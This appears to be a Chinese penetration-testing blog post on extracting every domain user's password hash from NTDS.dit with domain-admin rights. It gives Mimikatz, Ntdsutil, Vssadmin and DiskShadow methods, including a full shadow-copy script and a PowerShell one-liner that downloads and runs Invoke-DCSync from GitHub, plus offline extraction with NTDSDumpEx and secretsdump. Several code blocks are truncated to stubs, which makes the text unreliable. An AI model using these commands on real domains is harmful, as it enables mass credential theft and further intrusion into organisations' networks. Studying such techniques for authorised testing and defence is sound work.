在拥有域管权限时,可以提取所有域用户的密码Hash,为下一步渗透做准备。
一、如何 Dump Hash
Hash 值存储在域控制器中(C:\Windows\NTDS\NTDS.DIT)NTDS.DIT
文件经常被操作系统使用,无法直接复制到其它位置。可尝试以下方法 Dump Hash。
1. Mimikatz
Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码 Hash 值。
需要权限:域管权限
Mimikatz 需免杀
1 | # 所有用户 |
2. Ntdsutil
Ntdsutil 域控制器默认安装,使管理员能访问和管理 Windows Active Directory 数据库。渗透测试中可以用它来拍摄 ntds.dit 文件的快照
需要权限:域管权限
1 | # 创建快照 |
3. Vssadmin
域控制器默认安装
需要权限:域管权限
1 | # 查询当前系统的快照 |
4. Diskshadow
DiskShadow
是由微软官方签名的,Windows Server 2008、2012、2016 都包含了 DiskShadow,所在目录C:\windows\system32\diskshadow.exe
。包含交互式命令
和脚本模式
。
下面利用脚本模式提取AD数据库1
2
3
4
5
6# 查看存放 `ntds.dit` 的逻辑驱动器(一般为 C 盘)
# 找出系统没有使用的逻辑驱动器号
wmic logicaldisk
# 调用脚本
C:\windows\system32\diskshadow.exe /s C:\shadow.txt
shadow.txt 内容1
2
3
4
5
6
7set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "C:\windows\system32\cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows volume %someAlias%
reset
5. Powershell
项目地址:https://github.com/EmpireProject/Empire1
2# 远程加载 Invoke-DCSync.ps1
powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-DCSync.ps1')";Invoke-DCSync -PWDumpFormat > hash.txt
二、如何从 ntds.dit 提取 Hash
1. NTDSDumpEx
1 | usage: ntdsdumpex.exe <-d ntds.dit> <-k HEX-SYS-KEY | -s system.hiv |-r> [-o out.txt] [-h] [-m] [-p] [-u] |
1 | # 离线模式:先导出注册表 |
1 | # 在线模式:无需导出注册表 |
2. Impacket
项目地址:https://github.com/SecureAuthCorp/impacket
因为 Kali 的 python 环境安装得比较全,所以使用 Kali 来解 Hash1
git clone https://github.com/SecureAuthCorp/impacket
1 | # 安装所需库 |
1 | # 使用 secretsdump.py 解 Hash |
三、总结
- Mimikatz 在域用户机器执行需要域管权限时,可使用
psexec
、计划任务
等远程执行 - 使用
Ntdsutil
、Vssadmin
等卷影拷贝工具时,需要先开启Volume Shadow Copy Service
服务 - 有时遇到
NTDSDumpEx
提取出错,可以尝试修复 ntds.dit,修复后还无法提取,则使用secretsdump.py
。缺点:比较耗时